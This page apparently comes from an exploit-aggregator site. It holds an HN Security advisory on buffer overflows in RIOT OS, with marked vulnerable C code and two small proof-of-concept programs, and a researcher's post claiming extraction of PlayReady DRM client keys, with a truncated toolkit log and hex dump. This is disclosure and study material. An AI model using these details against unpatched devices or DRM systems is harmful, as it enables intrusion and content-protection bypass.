Latest exploits :: CodePwn

<pre><code>--[ HNS-2024-07 - HN Security Advisory - https://security.humanativaspa.it/ * Title: Multiple vulnerabilities in RIOT OS * OS: RIOT <= 2024.01 * Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it> * Date: 2024-05-07 * CVE ID and severity: * CVE-2024-31225 - High * CVE-2024-32017 - Critical * CVE-2024-32018 - High (low-severity vulnerabilities were not assigned a CVE ID) * Vendor URL: https://www.riot-os.org/ * Advisory URLs: * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2572-7q7c-3965 * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-v97j-w9m6-c4h3 * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-899m-q6pp-hmp3 * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x3j5-hfrr-5x6q * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-pw2r-pp35-xfmj * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-c4p4-vv7v-3hx8 * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-r87w-9vw9-f7cx * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2hx7-c324-3rxv * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-frp5-4gfp-84j3 * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x27v-gqp4-7jq3 --[ 0 - Table of contents 1 - Summary 2 - Background 3 - Vulnerabilities 3.1 - CVE-2024-31225 - Lack of size check and buffer overflow in RIOT /sys/net/application_layer/cord/lc/cord_lc.c 3.2 - CVE-2024-32017 - Buffer overflows in RIOT /sys/net/application_layer/gcoap/ 3.3 - CVE-2024-32018 - Ineffective size check due to assert() and buffer overflow in RIOT /pkg/nimble/scanlist/nimble_scanlist.c 3.4 - Unsafe use of the return value of vsnprintf() and out-of-bounds memory access in RIOT /cpu/esp_common/lib_printf.c 3.5 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/net/ble/skald/skald_eddystone.c 3.6 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/suit/handlers_command_seq.c 3.7 - Integer wraparound and buffer overflow in RIOT /drivers/mtd_emulated/mtd_emulated.c 3.8 - Off-by-one buffer overflow and unterminated string in RIOT /pkg/lwext4/fs/lwext4_fs.c 3.9 - Unsafe use of the return value of snprintf() and out-of-bounds memory access in RIOT /sys/shell/cmds/vfs.c 3.10 - Lack of size checks and buffer overflows in RIOT /sys/net/application_layer/emcute/emcute.c 4 - Affected products 5 - Remediation 6 - Disclosure timeline 7 - Acknowledgments 8 - References --[ 1 - Summary "Where there is parsing, there are bugs." -- Dr. Silvio Cesare RIOT [1] is a free, open-source, real-time operating system developed by a grassroots community gathering companies, academia, and hobbyists, distributed all around the world. It supports most low-power IoT devices, microcontroller architectures (32-bit, 16-bit, 8-bit), and external devices. RIOT aims to implement all relevant open standards supporting an Internet of Things that is connected, secure, durable, and privacy friendly. We reviewed RIOT's source code hosted on GitHub [2] and identified multiple security vulnerabilities that may cause memory corruption. Their impacts range from denial of service to potential arbitrary code execution. --[ 2 - Background Continuing our recent vulnerability research work in the IoT space [3] [4], we keep assisting open-source projects in finding and fixing vulnerabilities by reviewing their source code, with the final goal to make IoT more secure. In January 2024, RIOT was selected as a target of interest. During the source code review, we put our Semgrep C/C++ ruleset [5] and weggli pattern collection [6] to good use to identify hotspots in code on which to focus our attention. --[ 3 - Vulnerabilities The vulnerabilities resulting from our source code review are briefly described in the following sections. --[ 3.1 - CVE-2024-31225 - Lack of size check and buffer overflow in RIOT /sys/net/application_layer/cord/lc/cord_lc.c We spotted the lack of a size check that may lead to a buffer overflow in RIOT source code at: * /sys/net/application_layer/cord/lc/cord_lc.c The `_on_rd_init()` function does not implement a size check before copying data to the `_result_buf` static buffer. If an attacker can craft a long enough payload, they could cause a buffer overflow. See the marked line below: ```c static void _on_rd_init(const gcoap_request_memo_t *memo, coap_pkt_t *pdu, const sock_udp_ep_t *remote) { (void)remote; thread_flags_t flag = FLAG_NORSC; if (memo->state == GCOAP_MEMO_RESP) { unsigned ct = coap_get_content_type(pdu); if (ct != COAP_FORMAT_LINK) { DEBUG("cord_lc: error payload not in link format: %u\n", ct); goto end; } if (pdu->payload_len == 0) { DEBUG("cord_lc: error empty payload\n"); goto end; } memcpy(_result_buf, pdu->payload, pdu->payload_len); // VULN: lack of size check and potential buffer overflow _result_buf_len = pdu->payload_len; _result_buf[_result_buf_len] = '\0'; flag = FLAG_SUCCESS; } else if (memo->state == GCOAP_MEMO_TIMEOUT) { flag = FLAG_TIMEOUT; } end: if (flag != FLAG_SUCCESS) { _result_buf = NULL; _result_buf_len = 0; } thread_flags_set(_waiter, flag); } ``` Note that the `_on_lookup()` function in the same file does implement such an explicit size check: ```c static void _on_lookup(const gcoap_request_memo_t *memo, coap_pkt_t *pdu, const sock_udp_ep_t *remote) { (void)remote; thread_flags_t flag = FLAG_ERR; if (memo->state == GCOAP_MEMO_RESP) { unsigned ct = coap_get_content_type(pdu); if (ct != COAP_FORMAT_LINK) { DEBUG("cord_lc: unsupported content format: %u\n", ct); thread_flags_set(_waiter, flag); } if (pdu->payload_len == 0) { flag = FLAG_NORSC; thread_flags_set(_waiter, flag); } if (pdu->payload_len >= _result_buf_len) { // CHECK flag = FLAG_OVERFLOW; thread_flags_set(_waiter, flag); } memcpy(_result_buf, pdu->payload, pdu->payload_len); memset(_result_buf + pdu->payload_len, 0, _result_buf_len - pdu->payload_len); _result_buf_len = pdu->payload_len; flag = FLAG_SUCCESS; } else if (memo->state == GCOAP_MEMO_TIMEOUT) { flag = FLAG_TIMEOUT; } thread_flags_set(_waiter, flag); } ``` If the unchecked input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerability could range from denial of service to arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20547 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2572-7q7c-3965 --[ 3.2 - CVE-2024-32017 - Buffer overflows in RIOT /sys/net/application_layer/gcoap/ We spotted a typo in a size check that may lead to a buffer overflow in RIOT source code at: * /sys/net/application_layer/gcoap/dns.c We also spotted another potential buffer overflow in RIOT source code at: * /sys/net/application_layer/gcoap/forward_proxy.c The size check in the `gcoap_dns_server_proxy_get()` function contains a small typo that may lead to a buffer overflow in the subsequent `strcpy()`. The length of the `_uri` string is checked instead of the length of the `_proxy` string. See the marked lines below: ```c ssize_t gcoap_dns_server_proxy_get(char *proxy, size_t proxy_len) { ssize_t res = 0; mutex_lock(&_client_mutex); if (_dns_server_uri_isset()) { res = strlen(_uri); // VULN: typo, should be strlen(_proxy) if (((size_t)res + 1) > proxy_len) { /* account for trailing \0 */ res = -ENOBUFS; } else { strcpy(proxy, _proxy); // VULN: potential buffer overflow } } mutex_unlock(&_client_mutex); return res; } ``` The `_gcoap_forward_proxy_copy_options()` function does not implement an explicit size check before copying data to the `cep->req_etag` buffer that is `COAP_ETAG_LENGTH_MAX` bytes long. If an attacker can craft input so that optlen becomes larger than `COAP_ETAG_LENGTH_MAX`, they can cause a buffer overflow. See the marked line below: ```c static int _gcoap_forward_proxy_copy_options(coap_pkt_t *pkt, coap_pkt_t *client_pkt, client_ep_t *cep, uri_parser_result_t *urip) { /* copy all options from client_pkt to pkt */ coap_optpos_t opt = {0, 0}; uint8_t *value; bool uri_path_added = false; bool etag_added = false; for (int i = 0; i < client_pkt->options_len; i++) { ssize_t optlen = coap_opt_get_next(client_pkt, &opt, &value, !i); /* wrt to ETag option slack: we always have at least the Proxy-URI option in the client_pkt, * so we should hit at least once (and it's opt_num is also >= COAP_OPT_ETAG) */ if (optlen >= 0) { if (IS_USED(MODULE_NANOCOAP_CACHE) && !etag_added && (opt.opt_num >= COAP_OPT_ETAG)) { static const uint8_t tmp[COAP_ETAG_LENGTH_MAX] = { 0 }; /* add slack to maybe add an ETag on stale cache hit later, as is done in * gcoap_req_send() (which we circumvented in _gcoap_forward_proxy_via_coap()) */ if (coap_opt_add_opaque(pkt, COAP_OPT_ETAG, tmp, sizeof(tmp))) { etag_added = true; } } if (IS_USED(MODULE_NANOCOAP_CACHE) && opt.opt_num == COAP_OPT_ETAG) { if (_cep_get_req_etag_len(cep) == 0) { /* TODO: what to do on multiple ETags? */ _cep_set_req_etag_len(cep, (uint8_t)optlen); #if IS_USED(MODULE_NANOCOAP_CACHE) /* req_tag in cep is pre-processor guarded so we need to as well */ memcpy(cep->req_etag, value, optlen); // VULN: potential buffer overflow if optlen can become larger than COAP_ETAG_LENGTH_MAX #endif ... ``` If the input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20561 https://github.com/RIOT-OS/RIOT/pull/20579 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-v97j-w9m6-c4h3 --[ 3.3 - CVE-2024-32018 - Ineffective size check due to assert() and buffer overflow in RIOT /pkg/nimble/scanlist/nimble_scanlist.c We spotted an ineffective size check implemented via `assert()` that may lead to a buffer overflow in RIOT source code at: * /pkg/nimble/scanlist/nimble_scanlist.c Most codebases define assertion macros which compile to a no-op on non-debug builds. If assertions are the only line of defense against untrusted input, the software may be exposed to attacks that leverage the lack of proper input checks. In detail, in the `nimble_scanlist_update()` function below, `len` is checked in an assertion and subsequently used in a call to `memcpy()`. If an attacker is able to provide a larger `len` value while assertions are compiled-out, they can write past the end of the fixed-length `e->ad` buffer. See the marked lines below: ```c /** * @brief Data structure for holding a single scanlist entry */ typedef struct { clist_node_t node; /**< list node */ ble_addr_t addr; /**< a node's BLE address */ uint8_t ad[BLE_ADV_PDU_LEN]; /**< the received raw advertising data */ uint8_t ad_len; /**< length of the advertising data */ int8_t last_rssi; /**< last RSSI of a scanned node */ uint32_t adv_msg_cnt; /**< number of adv packets by a node */ uint32_t first_update; /**< first packet timestamp */ uint32_t last_update; /**< last packet timestamp */ uint8_t type; /**< advertising packet type */ uint8_t phy_pri; /**< primary PHY used */ uint8_t phy_sec; /**< secondary PHY advertised */ } nimble_scanlist_entry_t; ... void nimble_scanlist_update(uint8_t type, const ble_addr_t *addr, const nimble_scanner_info_t *info, const uint8_t *ad, size_t len) { assert(addr); assert(len <= BLE_ADV_PDU_LEN); // VULN: len is checked to be <= BLE_ADV_PDU_LEN only via an assertion uint32_t now = (uint32_t)ztimer_now(ZTIMER_USEC); nimble_scanlist_entry_t *e = _find(addr); if (!e) { e = (nimble_scanlist_entry_t *)clist_lpop(&_pool); if (!e) { /* no space available, dropping newly discovered node */ return; } memcpy(&e->addr, addr, sizeof(ble_addr_t)); if (ad) { memcpy(e->ad, ad, len); // VULN: if len is actually larger than BLE_ADV_PDU_LEN there's a potential buffer overflow } e->ad_len = len; e->last_rssi = info->rssi; e->first_update = now; e->adv_msg_cnt = 1; e->type = type; e->phy_pri = info->phy_pri; e->phy_sec = info->phy_sec; clist_rpush(&_list, (clist_node_t *)e); } else { e->adv_msg_cnt++; } e->last_update = now; } ``` If the unchecked input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerability could range from denial of service to arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20555 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-899m-q6pp-hmp3 --[ 3.4 - Unsafe use of the return value of vsnprintf() and out-of-bounds memory access in RIOT /cpu/esp_common/lib_printf.c We spotted an unsafe use of the return value of `vsnprintf()` that leads to an out-of-bounds memory access in RIOT source code at: * /cpu/esp_common/lib_printf.c The `vsnprintf()` API function returns the number of characters (excluding the terminating NUL byte) which would have been written to the destination string if enough space had been available. If an attacker is able to craft input so that the final string would become larger than `PRINTF_BUFSIZ`, they can exploit this bug to overwrite a '\n', '\r' or ' ' byte (or a sequence of such bytes) with a NUL byte in memory past the end of the `_printf_buf` static buffer. In addition, the tainted `len` value is returned at the end of the `_lib_printf()` function and may be used unsafely (e.g., as an array index) elsewhere in the code. See the marked lines below: ```c static char _printf_buf[PRINTF_BUFSIZ]; static int _lib_printf(int level, const char* tag, const char* format, va_list arg) { if (level > LOG_LEVEL) { return 0; } int len = vsnprintf(_printf_buf, PRINTF_BUFSIZ - 1, format, arg); // VULN: vsnprintf() returns the total length of the string it tried to create, which may be larger than the actual size of the destination string /* * Since ESP_EARLY_LOG macros add a line break at the end, a terminating * line break in the output must be removed if there is one. */ _printf_buf[PRINTF_BUFSIZ - 1] = 0; int i; for (i = len - 1; i >= 0; --i) { if (_printf_buf[i] != '\n' && _printf_buf[i] != '\r' && _printf_buf[i] != ' ') { break; } _printf_buf[i] = 0; // VULN: very limited oob array write access } if (i > 0) { ESP_EARLY_LOGI(tag, "%s", _printf_buf); } va_end(arg); return len; // VULN: tainted len value is returned } ``` In our understanding, the impact of this vulnerability in this specific case is quite limited. However, all bugs that have the potential to cause memory corruption should be taken seriously and fixed as security bugs. Fixes: https://github.com/RIOT-OS/RIOT/pull/20596 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x3j5-hfrr-5x6q --[ 3.5 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/net/ble/skald/skald_eddystone.c We spotted an ineffective size check implemented via `assert()` that may lead to a buffer overflow in RIOT source code at: * /sys/net/ble/skald/skald_eddystone.c Most codebases define assertion macros which compile to a no-op on non-debug builds. If assertions are the only line of defense against untrusted input, the software may be exposed to attacks that leverage the lack of proper input checks. In detail, in the `skald_eddystone_url_adv()` function below, `len` is checked in an assertion and subsequently used in a call to `memcpy()`. If an attacker is able to provide a large `url` while assertions are compiled-out, they can write past the end of the `pdu->url` buffer. See the marked lines below: ```c void skald_eddystone_url_adv(skald_ctx_t *ctx, uint8_t scheme, const char *url, uint8_t tx_pwr, uint32_t adv_itvl_ms) { assert(url && ctx); size_t len = strlen(url); assert(len <= (NETDEV_BLE_PDU_MAXLEN - (URL_HDR_LEN + PREAMBLE_LEN))); // VULN: len is checked only via an assertion eddy_url_t *pdu = (eddy_url_t *)ctx->pkt.pdu; _init_pre(&pdu->pre, EDDYSTONE_URL, (URL_HDR_LEN + len)); /* set remaining service data fields */ pdu->tx_pwr = tx_pwr; pdu->scheme = scheme; memcpy(pdu->url, url, len); // VULN: if len is actually larger than expected there's a potential buffer overflow /* start advertising */ ctx->pkt.len = (sizeof(pre_t) + 2 + len); ctx->adv_itvl_ms = adv_itvl_ms; skald_adv_start(ctx); } ``` If the unchecked input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerability could range from denial of service to arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20577 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-pw2r-pp35-xfmj --[ 3.6 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/suit/handlers_command_seq.c We spotted an ineffective size check implemented via `assert()` that may lead to a buffer overflow in RIOT source code at: * /sys/suit/handlers_command_seq.c Most codebases define assertion macros which compile to a no-op on non-debug builds. If assertions are the only line of defense against untrusted input, the software may be exposed to attacks that leverage the lack of proper input checks. In detail, in the `_dtv_fetch()` function below, `url_len` is checked in an assertion and subsequently used in a call to `memcpy()`. If an attacker is able to provide a large `url` while assertions are compiled-out, they can write past the end of the `manifest->urlbuf` buffer. See the marked lines below: ```c static int _dtv_fetch(suit_manifest_t *manifest, int key, nanocbor_value_t *_it) { (void)key; (void)_it; LOG_DEBUG("_dtv_fetch() key=%i\n", key); const uint8_t *url; size_t url_len; /* Check the policy before fetching anything */ int res = suit_policy_check(manifest); if (res) { return SUIT_ERR_POLICY_FORBIDDEN; } suit_component_t *comp = _get_component(manifest); /* Deny the fetch if the component was already fetched before */ if (suit_component_check_flag(comp, SUIT_COMPONENT_STATE_FETCHED)) { LOG_ERROR("Component already fetched before\n"); return SUIT_ERR_INVALID_MANIFEST; } nanocbor_value_t param_uri; suit_param_ref_to_cbor(manifest, &comp->param_uri, &param_uri); int err = nanocbor_get_tstr(&param_uri, &url, &url_len); if (err < 0) { LOG_DEBUG("URL parsing failed\n)"); return err; } assert(manifest->urlbuf && url_len < manifest->urlbuf_len); // VULN: url_len is checked only via an assertion memcpy(manifest->urlbuf, url, url_len); // VULN: if url_len is actually larger than expected there's a potential buffer overflow manifest->urlbuf[url_len] = '\0'; ... ``` If the unchecked input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerability could range from denial of service to arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20559 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-c4p4-vv7v-3hx8 --[ 3.7 - Integer wraparound and buffer overflow in RIOT /drivers/mtd_emulated/mtd_emulated.c We spotted an integer wraparound in a size check that leads to a buffer overflow in RIOT source code at: * /drivers/mtd_emulated/mtd_emulated.c If an attacker is able to provide arbitrary values for the `num` and `sector` arguments to the `_erase_sector()` function, they can cause an integer wraparound to bypass the size check and cause a buffer overflow. See the marked lines below: ```c static int _erase_sector(mtd_dev_t *dev, uint32_t sector, uint32_t num) { mtd_emulated_t *mtd = (mtd_emulated_t *)dev; (void)mtd; assert(mtd); if (/* sector must not exceed the number of sectors */ (sector >= mtd->base.sector_count) || /* sector + num must not exceed the number of sectors */ ((sector + num) > mtd->base.sector_count)) { // VULN: integer wraparound in size check return -EOVERFLOW; } memset(mtd->memory + (sector * (mtd->base.pages_per_sector * mtd->base.page_size)), 0xff, num * (mtd->base.pages_per_sector * mtd->base.page_size)); // VULN: buffer overflow return 0; } ``` We put together a quick proof-of-concept to demonstrate this issue: ``` raptor@blumenkraft Research % cat wraparound5.c #include <stdio.h> #include <stdlib.h> #include <inttypes.h> #define SECTOR_COUNT 256 static int _erase_sector(uint32_t sector, uint32_t num) { if (/* sector must not exceed the number of sectors */ (sector >= SECTOR_COUNT) || /* sector + num must not exceed the number of sectors */ ((sector + num) > SECTOR_COUNT)) { // VULN: wraparound printf("OVERFLOW\n"); return 1; } printf("sector + num = %"PRIu32"\n", sector + num); return 0; } int main(int argc, char **argv) { if (argc < 3) return 1; return _erase_sector(atoi(argv[1]), atoi(argv[2])); } raptor@blumenkraft Research % make wraparound5 cc wraparound5.c -o wraparound5 raptor@blumenkraft Research % ./wraparound5 250 10 OVERFLOW raptor@blumenkraft Research % ./wraparound5 250 4294967295 sector + num = 249 ``` If the input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerability could range from denial of service to (less likely in this case) arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20587 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-r87w-9vw9-f7cx --[ 3.8 - Off-by-one buffer overflow and unterminated string in RIOT /pkg/lwext4/fs/lwext4_fs.c We spotted an off-by-one buffer overflow in RIOT source code at: * /pkg/lwext4/fs/lwext4_fs.c We also spotted the lack of explicit NUL-termination after strncpy() in the same file. If an attacker is able to make `mount_point` at least `CONFIG_EXT4_MAX_MP_NAME` bytes large, `strcat()` would write a NUL byte past the end of the `mp.name` buffer, thus potentially overwriting the next member of the `ext4_mountpoint` struct [7]. See the marked line below: ```c static int prepare(lwext4_desc_t *fs, const char *mount_point) { mtd_dev_t *dev = fs->dev; struct ext4_blockdev_iface *iface = &fs->iface; memset(&fs->mp, 0, sizeof(fs->mp)); memset(&fs->bdev, 0, sizeof(fs->bdev)); memset(&fs->iface, 0, sizeof(fs->iface)); strncpy(fs->mp.name, mount_point, CONFIG_EXT4_MAX_MP_NAME); strcat(fs->mp.name, "/"); // VULN: off-by-one buffer overflow int res = mtd_init(dev); if (res) { return res; } ... ``` Since `sizeof(dirent->name)` is 255 and `sizeof(entry->d_name)` is only 32, if an attacker can control the input to `strncpy()` they would be able to create a non NUL-terminated string in `entry->d_name`. When such corrupted string is used in other parts of the code, it may cause information leakage or memory corruption. See the marked line below: ```c static int _readdir(vfs_DIR *dirp, vfs_dirent_t *entry) { ext4_dir *dir = _get_ext4_dir(dirp); const ext4_direntry *dirent = ext4_dir_entry_next(dir); if (dirent == NULL) { return 0; } strncpy(entry->d_name, (char *)dirent->name, sizeof(entry->d_name)); // VULN return 1; } ``` In our understanding, the impact of these vulnerabilities in this specific case is quite limited. However, all bugs that have the potential to cause memory corruption should be taken seriously and fixed as security bugs. Fixes: https://github.com/RIOT-OS/RIOT/pull/20586 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2hx7-c324-3rxv --[ 3.9 - Unsafe use of the return value of snprintf() and out-of-bounds memory access in RIOT /sys/shell/cmds/vfs.c We spotted an unsafe use of the return value of `snprintf()` that leads to an out-of-bounds memory access in RIOT source code at: * /sys/shell/cmds/vfs.c The `snprintf()` function returns the number of characters (excluding the terminating NUL byte) which would have been written to the destination string if enough space had been available. If an attacker is able to craft input so that the final string would become larger than `bs`, they can exploit this bug to cause a buffer overflow. See the marked lines below: ```c static void _write_block(int fd, unsigned bs, unsigned i) { char block[bs]; char *buf = block; buf += snprintf(buf, bs, "|%03u|", i); // VULN: snprintf() returns the total length of the string it tried to create, which may be larger than bs memset(buf, _get_char(i), &block[bs] - buf); // VULN: buf can point past the block buffer, in addition &block[bs] - buf would be negative and become a large unsigned value block[bs - 1] = '\n'; vfs_write(fd, block, bs); } ``` We put together a quick proof-of-concept to demonstrate this issue: ``` raptor@blumenkraft Research % cat ret1.c #include <stdio.h> #include <string.h> #include <stdlib.h> static char _get_char(unsigned i) { i %= 62; /* a-z, A-Z, 0..9, -> 62 characters */ if (i < 10) { return '0' + i; } i -= 10; if (i <= 'z' - 'a') { return 'a' + i; } i -= 1 + 'z' - 'a'; return 'A' + i; } static void _write_block(unsigned bs, unsigned i) { char block[bs]; char *buf = block; buf += snprintf(buf, bs, "|%03u|", i); // VULN: unsafe use of return value memset(buf, _get_char(i), &block[bs] - buf); // VULN: oob memory write, size becomes a large unsigned value block[bs - 1] = '\n'; } int main(int argc, char **argv) { if (argc < 3) return 1; _write_block(atoi(argv[1]), atoi(argv[2])); return 0; } raptor@blumenkraft Research % make ret1 cc ret1.c -o ret1 raptor@blumenkraft Research % ./ret1 5 10 raptor@blumenkraft Research % ./ret1 5 1000000 zsh: segmentation fault ./ret1 5 1000000 ``` If the input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerability could range from denial of service to (less likely in this case) arbitrary code execution. Fixes: https://github.com/RIOT-OS/RIOT/pull/20546 https://github.com/RIOT-OS/RIOT/pull/20595 See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-frp5-4gfp-84j3 --[ 3.10 - Lack of size checks and buffer overflows in RIOT /sys/net/application_layer/emcute/emcute.c We spotted the lack of size checks that may lead to buffer overflows in RIOT source code at: * /sys/net/application_layer/emcute/emcute.c The `emcute_con()` function does not implement a size check before copying data to the `tbuf` static buffer. If an attacker can craft a long enough payload, they could cause a buffer overflow. See the marked line below: ```c int emcute_con(sock_udp_ep_t *remote, bool clean, const char *will_topic, const void *will_msg, size_t will_msg_len, unsigned will_flags) { int res; size_t len; assert(!will_topic || (will_topic && will_msg && !(will_flags & ~PUB_FLAGS))); mutex_lock(&txlock); /* check for existing connections and copy given UDP endpoint */ if (gateway.port != 0) { return EMCUTE_NOGW; } memcpy(&gateway, remote, sizeof(sock_udp_ep_t)); /* figure out which flags to set */ uint8_t flags = (clean) ? EMCUTE_CS : 0; if (will_topic) { flags |= EMCUTE_WILL; } /* compute packet size */ len = (strlen(cli_id) + 6); tbuf[0] = (uint8_t)len; tbuf[1] = CONNECT; tbuf[2] = flags; tbuf[3] = PROTOCOL_VERSION; byteorder_htobebufs(&tbuf[4], CONFIG_EMCUTE_KEEPALIVE); memcpy(&tbuf[6], cli_id, strlen(cli_id)); // VULN: lack of size check and potential buffer overflow ... ``` The `emcute_unsub()` function does not implement a size check before copying data to the `tbuf` static buffer. If an attacker can craft a long enough payload, they could cause a buffer overflow. See the marked line below: ```c int emcute_unsub(emcute_sub_t *sub) { assert(sub && sub->topic.name); if (gateway.port == 0) { return EMCUTE_NOGW; } mutex_lock(&txlock); tbuf[0] = (strlen(sub->topic.name) + 5); tbuf[1] = UNSUBSCRIBE; tbuf[2] = 0; byteorder_htobebufs(&tbuf[3], id_next); waitonid = id_next++; memcpy(&tbuf[5], sub->topic.name, strlen(sub->topic.name)); // VULN: lack of size check and potential buffer overflow int res = syncsend(UNSUBACK, (size_t)tbuf[0], false); if (res == EMCUTE_OK) { if (subs == sub) { subs = sub->next; } else { emcute_sub_t *s; for (s = subs; s; s = s->next) { if (s->next == sub) { s->next = sub->next; break; } } } } mutex_unlock(&txlock); return res; } ``` If the unchecked input above is attacker-controlled and crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution. There is currently no fix for these issues. RIOT maintainers do not consider them to be security critical bugs and therefore they are currently discussing them publicly. See also: https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x27v-gqp4-7jq3 --[ 4 - Affected products RIOT 2024.01 and (likely) earlier versions are affected by the vulnerabilities discussed in this advisory. --[ 5 - Remediation RIOT maintainers have fixed all the vulnerabilities discussed in this advisory, except for those reported in GHSA-x27v-gqp4-7jq3, which are not considered security critical bugs and are currently being discussed publicly. Please check the official RIOT channels for further information about fixes. --[ 6 - Disclosure timeline We reported the vulnerabilities discussed in this advisory to RIOT maintainers in January 2024, via the handy private reporting feature [8] that is available on GitHub. We are not sure of the reason of the significant delay in the initial maintainers' response. However, once we got their attention they quickly triaged and fixed all vulnerabilities. They also informed us that: * They are treating such delay as an additional security incident. * They added another maintainer to the security group as an immediate action. * They plan on discussing this shortcoming on the next maintainer assembly to find a long term solution. The coordinated disclosure timeline follows: 2024-01-10: Reported the first vulnerability to the RIOT project. 2024-01-11: Reported four more vulnerabilities. 2024-01-12: Reported the rest of the vulnerabilities. 2024-02-09: Asked for feedback on <security@riot-os.org>. 2024-03-05: Asked again for feedback on <security@riot-os.org>. 2024-04-05: Asked again for feedback via GitHub and got the first reply. 2024-04-06: Started collaborating with RIOT to evaluate proposed fixes. 2024-04-10: First security advisory published on GitHub. 2024-04-17: Another security advisory published on GitHub. 2024-04-24: Asked for a status update on the remaining reports. 2024-04-25: Two more security advisories published on GitHub. 2024-04-26: Another security advisory published on GitHub. 2024-04-30: Three more security advisories published on GitHub. 2024-05-07: Published advisory and writeup. --[ 7 - Acknowledgments We would like to thank RIOT maintainers for triaging and fixing the reported vulnerabilities in a particularly friendly and professional way. We really appreciated working with them! --[ 8 - References [1] https://www.riot-os.org/ [2] https://github.com/RIOT-OS/RIOT [3] https://security.humanativaspa.it/ost2-zephyr-rtos-and-a-bunch-of-cves/ [4] https://security.humanativaspa.it/multiple-vulnerabilities-in-rt-thread-rtos/ [5] https://security.humanativaspa.it/big-update-to-my-semgrep-c-cpp-ruleset/ [6] https://security.humanativaspa.it/a-collection-of-weggli-patterns-for-c-cpp-vulnerability-research/ [7] https://github.com/gkostka/lwext4/blob/58bcf89a121b72d4fb66334f1693d3b30e4cb9c5/src/ext4.c#L75 [8] https://docs.github.com/en/code-security/security-advisories Copyright (c) 2024 Marco Ivaldi and Humanativa Group. All rights reserved. </code></pre>

<pre><code>Hello All, We have come up with two attack scenarios that make it possible to extract private ECC keys used by a PlayReady client (Windows SW DRM scenario) for the communication with a license server and identity purposes. More specifically, we successfully demonstrated the extraction of the following keys: - private signing key used to digitally sign license requests issued by PlayReady client, - private encryption key used to decrypt license responses received by the client (decrypt license blobs carrying encrypted content keys). A proof for the above (which Microsoft should be able to confirm) is available at this link: https://security-explorations.com/samples/wbpmp_id_compromise_proof.txt While PlayReady security is primary about security of content keys, ECC keys that make up client identity are even more important. Upon compromise, these keys can be used to mimic a PlayReady client outside of a Protected Media Path environment and regardless of the imposed security restrictions. In that context, extraction of ECC keys used as part of a PlayReady client identity constitute an ultimate compromise of a PlayReady client on Windows ("escape" of the PMP environment, ability to request licenses and decrypt content keys). Content key extraction from Protected Media Path process (through XOR key or white-box crypto data structures) in a combination with this latest identity compromise attack means that there is nothing left to break when it comes to Windows SW DRM implementation. Let this serve as a reminder that PlayReady content protection implemented in software and on a client side has little chances of a “survival” (understood as a state of not being successfully reverse engineered and compromised). In that context, this is vendor’s responsibility to constantly increase the bar and with the use of all available technological means. Thank you. Best Regards, Adam Gowdiak ---------------------------------- Security Explorations - AG Security Research Lab https://security-explorations.com ---------------------------------- Packet Storm Editor Note - below is wbpmp_id_compromise_proof.txt c:\_MNT\PROJECTS\WBPMP\code\toolkit>shell # MS Play Ready / Canal+ VOD toolkit # (c) Security Explorations 2016-2019 Poland # (c) AG Security Research 2019-2022 Poland loaded cdn [CDN helper] loaded mspr [MS Play Ready toolkit] loaded vod [CANALP VOD toolkit] loaded cgaweb [CANALP CGAWeb toolkit] msprcp> set CDM_DIR cdm\w10 msprcp> identity 0C86330B0E98CD7C586F336088DAFA0E 4F72F3CBDC81C849F635AE556A73679F 902B255736B6E891F3AF30F98B0A5DBA D9A5C7A90F8DEA029AA8FB1C95887BE3 E82DFAE7A9DB21FC1ECF33C1DADC54B7 msprcp> identity 0C86330B0E98CD7C586F336088DAFA0E -v [0C86330B0E98CD7C586F336088DAFA0E] PRKF version: 3 attr: 100c Unknown data 0000: 00 04 00 00 .... attr: 1000 Unknown data 0000: 00 01 10 01 00 00 00 2c 00 02 00 80 00 01 00 00 .......,........ 0010: ea 3c 67 da 4e 43 de e0 00 00 00 10 30 e1 4c db .<g.NC......0.L. 0020: 9d 23 9e 97 f7 1d ac 03 13 c2 2b 69 00 01 10 02 .#........+i.... 0030: 00 00 00 7c 00 01 01 00 00 00 00 40 cb 27 6f 9f ...|.......@.'o. 0040: 9f 76 46 64 54 23 19 ef 9c c7 69 0f 9c 3b e3 75 .vFdT#....i..;.u 0050: 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d f7 10 1c 69 ..x*.......m...i 0060: 94 2c 4d 07 d9 68 8b 